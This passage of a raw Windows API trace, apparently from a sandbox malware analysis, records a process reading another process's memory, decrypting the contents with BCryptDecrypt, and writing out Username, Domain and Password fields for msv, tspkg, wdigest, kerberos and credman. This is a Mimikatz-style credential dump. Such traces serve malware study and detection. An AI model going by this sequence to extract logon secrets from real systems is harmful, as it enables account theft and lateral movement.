lpiResult=0x10f9a0 | out: lpiResult=0x10f9a0) returned 1 [0196.121] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x16bba0 [0196.121] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1e7af0, lpBuffer=0x16bba0, nSize=0x14, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bba0*, lpNumberOfBytesRead=0x0) returned 1 [0196.121] IsTextUnicode (in: lpv=0x16bba0, iSize=18, lpiResult=0x10f9a0 | out: lpiResult=0x10f9a0) returned 1 [0196.121] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bbc0 [0196.121] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1e7b10, lpBuffer=0x16bbc0, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bbc0*, lpNumberOfBytesRead=0x0) returned 1 [0196.121] BCryptDecrypt (in: hKey=0x18e6e0, pbInput=0x16bbc0, cbInput=0x18, pPaddingInfo=0x0, pbIV=0x10f978, cbIV=0x8, pbOutput=0x16bbc0, cbOutput=0x18, pcbResult=0x10f9a8, dwFlags=0x0 | out: hKey=0x18e6e0, pbIV=0x10f978, pbOutput=0x16bbc0, pcbResult=0x10f9a8) returned 0x0 [0196.121] GetLastError () returned 0x0 [0196.122] SetLastError (dwErrCode=0x0) [0196.122] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\r\n\x09 * Username : 5p5NrGJn0jS HALPmcxz\r\n\x09 * Domain : XDUWTFONO\r\n\x09 * Password : 놄额உ䵊ၐ峇⥜䄐뛞닏т◹म抾", cchWideChar=80, lpMultiByteStr=0x10ea10, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n\x09 * Username : 5p5NrGJn0jS HALPmcxz\r\n\x09 * Domain : XDUWTFONO\r\n\x09 * Password : ", lpUsedDefaultChar=0x0) returned 80 [0196.122] WriteFile (in: hFile=0x720, lpBuffer=0x10ea10*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x10e350, lpOverlapped=0x0 | out: lpBuffer=0x10ea10*, lpNumberOfBytesWritten=0x10e350*=0x50, lpOverlapped=0x0) returned 1 [0196.122] IsTextUnicode (in: lpv=0x16bbc0, iSize=18, lpiResult=0x10f9a0 | out: lpiResult=0x10f9a0) returned 1 [0196.122] GetLastError () returned 0x0 [0196.122] SetLastError (dwErrCode=0x0) [0196.122] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="6mnH7CdKKrname : 5p5NrGJn0jS HALPmcxz\r\n\x09 * Domain : XDUWTFONO\r\n\x09 * Password : 놄额உ䵊ၐ峇⥜䄐뛞닏т◹म抾", cchWideChar=9, lpMultiByteStr=0x10ea10, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6mnH7CdKKrname : 5p5NrGJn0jS HALPmcxz\r\n\x09 * Domain : XDUWTFONO\r\n\x09 * Password : ", lpUsedDefaultChar=0x0) returned 9 [0196.122] WriteFile (in: hFile=0x720, lpBuffer=0x10ea10*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x10e350, lpOverlapped=0x0 | out: lpBuffer=0x10ea10*, lpNumberOfBytesWritten=0x10e350*=0x9, lpOverlapped=0x0) returned 1 [0196.122] LocalFree (hMem=0x18d310) returned 0x0 [0196.122] LocalFree (hMem=0x16bba0) returned 0x0 [0196.122] LocalFree (hMem=0x16bbc0) returned 0x0 [0196.122] LocalFree (hMem=0x169240) returned 0x0 [0196.122] LocalFree (hMem=0x169320) returned 0x0 [0196.122] GetLastError () returned 0x0 [0196.122] SetLastError (dwErrCode=0x0) [0196.122] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\r\ndigest :\x09\x09ᰛꝌ鉩錳䆈⟿㋃?뗟䃟䰙　�߿", cchWideChar=2, lpMultiByteStr=0x10eb00, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\ndigest :\x09\x09", lpUsedDefaultChar=0x0) returned 2 [0196.122] WriteFile (in: hFile=0x720, lpBuffer=0x10eb00*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e440, lpOverlapped=0x0 | out: lpBuffer=0x10eb00*, lpNumberOfBytesWritten=0x10e440*=0x2, lpOverlapped=0x0) returned 1 [0196.123] GetLastError () returned 0x0 [0196.123] SetLastError (dwErrCode=0x0) [0196.123] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\x09kerberos :\x09ᰛꝌ鉩錳䆈⟿㋃?뗟䃟䰙　�߿", cchWideChar=12, lpMultiByteStr=0x10eb00, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x09kerberos :\x09", lpUsedDefaultChar=0x0) returned 12 [0196.123] WriteFile (in: hFile=0x720, lpBuffer=0x10eb00*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x10e440, lpOverlapped=0x0 | out: lpBuffer=0x10eb00*, lpNumberOfBytesWritten=0x10e440*=0xc, lpOverlapped=0x0) returned 1 [0196.123] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd362840, lpBuffer=0x10f940, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f940*, lpNumberOfBytesRead=0x0) returned 1 [0196.123] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1a4590, lpBuffer=0x10f890, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f890*, lpNumberOfBytesRead=0x0) returned 1 [0196.123] LocalAlloc (uFlags=0x40, uBytes=0x48) returned 0x164500 [0196.123] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1c9780, lpBuffer=0x164500, nSize=0x48, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x164500*, lpNumberOfBytesRead=0x0) returned 1 [0196.123] LocalFree (hMem=0x164500) returned 0x0 [0196.123] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1a9350, lpBuffer=0x10f7e0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f7e0*, lpNumberOfBytesRead=0x0) returned 1 [0196.123] LocalAlloc (uFlags=0x40, uBytes=0x48) returned 0x164500 [0196.123] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1b6000, lpBuffer=0x164500, nSize=0x48, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x164500*, lpNumberOfBytesRead=0x0) returned 1 [0196.123] LocalFree (hMem=0x164500) returned 0x0 [0196.123] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1d43b0, lpBuffer=0x10f7e0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f7e0*, lpNumberOfBytesRead=0x0) returned 1 [0196.124] LocalAlloc (uFlags=0x40, uBytes=0x48) returned 0x164500 [0196.124] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1e08b0, lpBuffer=0x164500, nSize=0x48, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x164500*, lpNumberOfBytesRead=0x0) returned 1 [0196.124] LocalFree (hMem=0x164500) returned 0x0 [0196.124] LocalAlloc (uFlags=0x40, uBytes=0x138) returned 0x181de0 [0196.124] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1e08b0, lpBuffer=0x181de0, nSize=0x138, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x181de0*, lpNumberOfBytesRead=0x0) returned 1 [0196.124] ConvertSidToStringSidW () returned 0x1 [0196.124] LocalAlloc (uFlags=0x40, uBytes=0x2a) returned 0x18d310 [0196.124] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1d4360, lpBuffer=0x18d310, nSize=0x2a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x18d310*, lpNumberOfBytesRead=0x0) returned 1 [0196.124] IsTextUnicode (in: lpv=0x18d310, iSize=40, lpiResult=0x10f8c0 | out: lpiResult=0x10f8c0) returned 1 [0196.124] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x16bbc0 [0196.124] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1e79f0, lpBuffer=0x16bbc0, nSize=0x14, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bbc0*, lpNumberOfBytesRead=0x0) returned 1 [0196.124] IsTextUnicode (in: lpv=0x16bbc0, iSize=18, lpiResult=0x10f8c0 | out: lpiResult=0x10f8c0) returned 1 [0196.124] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bba0 [0196.124] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1e7a50, lpBuffer=0x16bba0, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bba0*, lpNumberOfBytesRead=0x0) returned 1 [0196.125] BCryptDecrypt (in: hKey=0x18e6e0, pbInput=0x16bba0, cbInput=0x18, pPaddingInfo=0x0, pbIV=0x10f898, cbIV=0x8, pbOutput=0x16bba0, cbOutput=0x18, pcbResult=0x10f8c8, dwFlags=0x0 | out: hKey=0x18e6e0, pbIV=0x10f898, pbOutput=0x16bba0, pcbResult=0x10f8c8) returned 0x0 [0196.125] GetLastError () returned 0x0 [0196.125] SetLastError (dwErrCode=0x0) [0196.125] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\r\n\x09 * Username : 5p5NrGJn0jS HALPmcxz\r\n\x09 * Domain : XDUWTFONO\r\n\x09 * Password : \x0c", cchWideChar=80, lpMultiByteStr=0x10e930, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n\x09 * Username : 5p5NrGJn0jS HALPmcxz\r\n\x09 * Domain : XDUWTFONO\r\n\x09 * Password : @ë\x10", lpUsedDefaultChar=0x0) returned 80 [0196.125] WriteFile (in: hFile=0x720, lpBuffer=0x10e930*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x10e270, lpOverlapped=0x0 | out: lpBuffer=0x10e930*, lpNumberOfBytesWritten=0x10e270*=0x50, lpOverlapped=0x0) returned 1 [0196.125] IsTextUnicode (in: lpv=0x16bba0, iSize=18, lpiResult=0x10f8c0 | out: lpiResult=0x10f8c0) returned 1 [0196.125] GetLastError () returned 0x0 [0196.125] SetLastError (dwErrCode=0x0) [0196.125] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="6mnH7CdKKrname : 5p5NrGJn0jS HALPmcxz\r\n\x09 * Domain : XDUWTFONO\r\n\x09 * Password : \x0c", cchWideChar=9, lpMultiByteStr=0x10e930, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6mnH7CdKKrname : 5p5NrGJn0jS HALPmcxz\r\n\x09 * Domain : XDUWTFONO\r\n\x09 * Password : @ë\x10", lpUsedDefaultChar=0x0) returned 9 [0196.125] WriteFile (in: hFile=0x720, lpBuffer=0x10e930*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x10e270, lpOverlapped=0x0 | out: lpBuffer=0x10e930*, lpNumberOfBytesWritten=0x10e270*=0x9, lpOverlapped=0x0) returned 1 [0196.125] LocalFree (hMem=0x18d310) returned 0x0 [0196.125] LocalFree (hMem=0x16bbc0) returned 0x0 [0196.125] LocalFree (hMem=0x16bba0) returned 0x0 [0196.125] LocalFree (hMem=0x169240) returned 0x0 [0196.125] LocalFree (hMem=0x181de0) returned 0x0 [0196.126] GetLastError () returned 0x0 [0196.126] SetLastError (dwErrCode=0x0) [0196.126] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\r\nerberos :\x09ᰛꝌ鉩錳䆈⟿㋃?뗟䃟䰙　�߿", cchWideChar=2, lpMultiByteStr=0x10eb00, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\nerberos :\x09", lpUsedDefaultChar=0x0) returned 2 [0196.126] WriteFile (in: hFile=0x720, lpBuffer=0x10eb00*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e440, lpOverlapped=0x0 | out: lpBuffer=0x10eb00*, lpNumberOfBytesWritten=0x10e440*=0x2, lpOverlapped=0x0) returned 1 [0196.126] GetLastError () returned 0x0 [0196.126] SetLastError (dwErrCode=0x0) [0196.126] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\x09ssp :\x09os :\x09ᰛꝌ鉩錳䆈⟿㋃?뗟䃟䰙　�߿", cchWideChar=7, lpMultiByteStr=0x10eb00, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x09ssp :\x09os :\x09", lpUsedDefaultChar=0x0) returned 7 [0196.126] WriteFile (in: hFile=0x720, lpBuffer=0x10eb00*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x10e440, lpOverlapped=0x0 | out: lpBuffer=0x10eb00*, lpNumberOfBytesWritten=0x10e440*=0x7, lpOverlapped=0x0) returned 1 [0196.126] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd2178d0, lpBuffer=0x10fa20, nSize=0x10, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa20*, lpNumberOfBytesRead=0x0) returned 1 [0196.126] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1d7c70, lpBuffer=0x10fa20, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa20*, lpNumberOfBytesRead=0x0) returned 1 [0196.126] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1d8080, lpBuffer=0x10fa20, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa20*, lpNumberOfBytesRead=0x0) returned 1 [0196.126] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1d7d40, lpBuffer=0x10fa20, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa20*, lpNumberOfBytesRead=0x0) returned 1 [0196.127] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1d7ba0, lpBuffer=0x10fa20, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa20*, lpNumberOfBytesRead=0x0) returned 1 [0196.127] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1d7860, lpBuffer=0x10fa20, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa20*, lpNumberOfBytesRead=0x0) returned 1 [0196.127] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1d72b0, lpBuffer=0x10fa20, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa20*, lpNumberOfBytesRead=0x0) returned 1 [0196.127] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1d7040, lpBuffer=0x10fa20, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa20*, lpNumberOfBytesRead=0x0) returned 1 [0196.127] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1c4370, lpBuffer=0x10fa20, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa20*, lpNumberOfBytesRead=0x0) returned 1 [0196.127] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1a4110, lpBuffer=0x10fa20, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa20*, lpNumberOfBytesRead=0x0) returned 1 [0196.127] GetLastError () returned 0x0 [0196.127] SetLastError (dwErrCode=0x0) [0196.127] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\r\nsp :\x09os :\x09ᰛꝌ鉩錳䆈⟿㋃?뗟䃟䰙　�߿", cchWideChar=2, lpMultiByteStr=0x10eb00, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\nsp :\x09os :\x09", lpUsedDefaultChar=0x0) returned 2 [0196.127] WriteFile (in: hFile=0x720, lpBuffer=0x10eb00*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e440, lpOverlapped=0x0 | out: lpBuffer=0x10eb00*, lpNumberOfBytesWritten=0x10e440*=0x2, lpOverlapped=0x0) returned 1 [0196.127] GetLastError () returned 0x0 [0196.127] SetLastError (dwErrCode=0x0) [0196.128] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\x09credman :\x09\x09ᰛꝌ鉩錳䆈⟿㋃?뗟䃟䰙　�߿", cchWideChar=11, lpMultiByteStr=0x10eb00, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x09credman :\x09\x09", lpUsedDefaultChar=0x0) returned 11 [0196.128] WriteFile (in: hFile=0x720, lpBuffer=0x10eb00*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x10e440, lpOverlapped=0x0 | out: lpBuffer=0x10eb00*, lpNumberOfBytesWritten=0x10e440*=0xb, lpOverlapped=0x0) returned 1 [0196.128] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x156cf0, lpBuffer=0x10fa40, nSize=0x28, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa40*, lpNumberOfBytesRead=0x0) returned 1 [0196.128] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1e85a0, lpBuffer=0x10fa00, nSize=0x10, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa00*, lpNumberOfBytesRead=0x0) returned 1 [0196.128] LocalAlloc (uFlags=0x40, uBytes=0xd0) returned 0x181de0 [0196.128] LocalFree (hMem=0x181de0) returned 0x0 [0196.128] GetLastError () returned 0x0 [0196.128] SetLastError (dwErrCode=0x0) [0196.128] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\r\nredman :\x09\x09ᰛꝌ鉩錳䆈⟿㋃?뗟䃟䰙　�߿", cchWideChar=2, lpMultiByteStr=0x10eb00, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\nredman :\x09\x09", lpUsedDefaultChar=0x0) returned 2 [0196.128] WriteFile (in: hFile=0x720, lpBuffer=0x10eb00*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e440, lpOverlapped=0x0 | out: lpBuffer=0x10eb00*, lpNumberOfBytesWritten=0x10e440*=0x2, lpOverlapped=0x0) returned 1 [0196.128] LocalFree (hMem=0x18d290) returned 0x0 [0196.128] LocalFree (hMem=0x16bb80) returned 0x0 [0196.128] LocalFree (hMem=0x16bb60) returned 0x0 [0196.128] LocalFree (hMem=0x18dfa0) returned 0x0 [0196.128] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1c4700, lpBuffer=0x17d9f0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x17d9f0*, lpNumberOfBytesRead=0x0) returned 1 [0196.129] LocalAlloc (uFlags=0x40, uBytes=0x1c) returned 0x18dfa0 [0196.129] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1b31b0, lpBuffer=0x18dfa0, nSize=0x1c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x18dfa0*, lpNumberOfBytesRead=0x0) returned 1 [0196.129] LocalAlloc (uFlags=0x40, uBytes=0x1a) returned 0x18e030 [0196.129] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1b3210, lpBuffer=0x18e030, nSize=0x1a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x18e030*, lpNumberOfBytesRead=0x0) returned 1 [0196.129] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1a66e1, lpBuffer=0x10fac0, nSize=0x1, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fac0*, lpNumberOfBytesRead=0x0) returned 1 [0196.129] LocalAlloc (uFlags=0x40, uBytes=0xc) returned 0x16bb60 [0196.129] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1a66e0, lpBuffer=0x16bb60, nSize=0xc, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb60*, lpNumberOfBytesRead=0x0) returned 1 [0196.129] GetLastError () returned 0x0 [0196.129] SetLastError (dwErrCode=0x0) [0196.129] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\x09msv :\x09n :\x09\x09ᰛꝌ鉩錳䆈⟿㋃?뗟䃟䰙　�߿", cchWideChar=7, lpMultiByteStr=0x10eb00, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x09msv :\x09n :\x09\x09", lpUsedDefaultChar=0x0) returned 7 [0196.129] WriteFile (in: hFile=0x720, lpBuffer=0x10eb00*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x10e440, lpOverlapped=0x0 | out: lpBuffer=0x10eb00*, lpNumberOfBytesWritten=0x10e440*=0x7, lpOverlapped=0x0) returned 1 [0196.129] GetLastError () returned 0x0 [0196.129] SetLastError (dwErrCode=0x0) [0196.130] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\r\nsv :\x09n :\x09\x09ᰛꝌ鉩錳䆈⟿㋃?뗟䃟䰙　�߿", cchWideChar=2, lpMultiByteStr=0x10eb00, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\nsv :\x09n :\x09\x09", lpUsedDefaultChar=0x0) returned 2 [0196.130] WriteFile (in: hFile=0x720, lpBuffer=0x10eb00*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e440, lpOverlapped=0x0 | out: lpBuffer=0x10eb00*, lpNumberOfBytesWritten=0x10e440*=0x2, lpOverlapped=0x0) returned 1 [0196.130] GetLastError () returned 0x0 [0196.130] SetLastError (dwErrCode=0x0) [0196.130] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\x09tspkg :\x09:\x09\x09ᰛꝌ鉩錳䆈⟿㋃?뗟䃟䰙　�߿", cchWideChar=9, lpMultiByteStr=0x10eb00, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x09tspkg :\x09:\x09\x09", lpUsedDefaultChar=0x0) returned 9 [0196.130] WriteFile (in: hFile=0x720, lpBuffer=0x10eb00*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x10e440, lpOverlapped=0x0 | out: lpBuffer=0x10eb00*, lpNumberOfBytesWritten=0x10e440*=0x9, lpOverlapped=0x0) returned 1 [0196.130] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefcf94b00, lpBuffer=0x10f960, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f960*, lpNumberOfBytesRead=0x0) returned 1 [0196.130] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1a6000, lpBuffer=0x10f8b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f8b0*, lpNumberOfBytesRead=0x0) returned 1 [0196.130] LocalAlloc (uFlags=0x40, uBytes=0x74) returned 0x160a40 [0196.130] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1cc110, lpBuffer=0x160a40, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x160a40*, lpNumberOfBytesRead=0x0) returned 1 [0196.130] LocalFree (hMem=0x160a40) returned 0x0 [0196.130] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1a60a0, lpBuffer=0x10f800, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f800*, lpNumberOfBytesRead=0x0) returned 1 [0196.131] LocalAlloc (uFlags=0x40, uBytes=0x74) returned 0x160a40 [0196.131] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1d6050, lpBuffer=0x160a40, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x160a40*, lpNumberOfBytesRead=0x0) returned 1 [0196.131] LocalFree (hMem=0x160a40) returned 0x0 [0196.131] GetLastError () returned 0x0 [0196.131] SetLastError (dwErrCode=0x0) [0196.131] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\r\nspkg :\x09:\x09\x09ᰛꝌ鉩錳䆈⟿㋃?뗟䃟䰙　�߿", cchWideChar=2, lpMultiByteStr=0x10eb00, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\nspkg :\x09:\x09\x09", lpUsedDefaultChar=0x0) returned 2 [0196.131] WriteFile (in: hFile=0x720, lpBuffer=0x10eb00*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e440, lpOverlapped=0x0 | out: lpBuffer=0x10eb00*, lpNumberOfBytesWritten=0x10e440*=0x2, lpOverlapped=0x0) returned 1 [0196.131] GetLastError () returned 0x0 [0196.131] SetLastError (dwErrCode=0x0) [0196.131] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\x09wdigest :\x09\x09ᰛꝌ鉩錳䆈⟿㋃?뗟䃟䰙　�߿", cchWideChar=11, lpMultiByteStr=0x10eb00, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x09wdigest :\x09\x09", lpUsedDefaultChar=0x0) returned 11 [0196.131] WriteFile (in: hFile=0x720, lpBuffer=0x10eb00*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x10e440, lpOverlapped=0x0 | out: lpBuffer=0x10eb00*, lpNumberOfBytesWritten=0x10e440*=0xb, lpOverlapped=0x0) returned 1 [0196.131] LocalAlloc (uFlags=0x40, uBytes=0x28) returned 0x18e060 [0196.131] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd0212c0, lpBuffer=0x10fa38, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa38*, lpNumberOfBytesRead=0x0) returned 1 [0196.132] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x187300, lpBuffer=0x18e060, nSize=0x28, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x18e060*, lpNumberOfBytesRead=0x0) returned 1 [0196.132] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x187150, lpBuffer=0x18e060, nSize=0x28, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x18e060*, lpNumberOfBytesRead=0x0) returned 1 [0196.133] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x186e80, lpBuffer=0x18e060, nSize=0x28, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x18e060*, lpNumberOfBytesRead=0x0) returned 1 [0196.133] LocalFree (hMem=0x18e060) returned 0x0 [0196.133] LocalAlloc (uFlags=0x40, uBytes=0x60) returned 0x169240 [0196.133] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x186e80, lpBuffer=0x169240, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x169240*, lpNumberOfBytesRead=0x0) returned 1 [0196.133] ConvertSidToStringSidW () returned 0x1 [0196.133] LocalAlloc (uFlags=0x40, uBytes=0x2) returned 0x17db00 [0196.133] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1694e0, lpBuffer=0x17db00, nSize=0x2, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x17db00*, lpNumberOfBytesRead=0x0) returned 1 [0196.133] IsTextUnicode (in: lpv=0x17db00, iSize=0, lpiResult=0x10f9a0 | out: lpiResult=0x10f9a0) returned 0 [0196.133] LocalAlloc (uFlags=0x40, uBytes=0x2) returned 0x17dc00 [0196.134] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1694d0, lpBuffer=0x17dc00, nSize=0x2, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x17dc00*, lpNumberOfBytesRead=0x0) returned 1 [0196.134] IsTextUnicode (in: lpv=0x17dc00, iSize=0, lpiResult=0x10f9a0 | out: lpiResult=0x10f9a0) returned 0 [0196.134] GetLastError () returned 0x0 [0196.134] SetLastError (dwErrCode=0x0) [0196.134] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\r\n\x09 * Username : (null)\r\n\x09 * Domain : (null)\r\n\x09 * Password : ", cchWideChar=63, lpMultiByteStr=0x10ea10, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n\x09 * Username : (null)\r\n\x09 * Domain : (null)\r\n\x09 * Password : \r\n\x09 * Password : ", lpUsedDefaultChar=0x0) returned 63 [0196.134] WriteFile (in: hFile=0x720, lpBuffer=0x10ea10*, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0x10e350, lpOverlapped=0x0 | out: lpBuffer=0x10ea10*, lpNumberOfBytesWritten=0x10e350*=0x3f, lpOverlapped=0x0) returned 1 [0196.134] GetLastError () returned 0x0 [0196.134] SetLastError (dwErrCode=0x0) [0196.134] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(null)Username : (null)\r\n\x09 * Domain : (null)\r\n\x09 * Password : ", cchWideChar=6, lpMultiByteStr=0x10ea10, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(null)Username : (null)\r\n\x09 * Domain : (null)\r\n\x09 * Password : 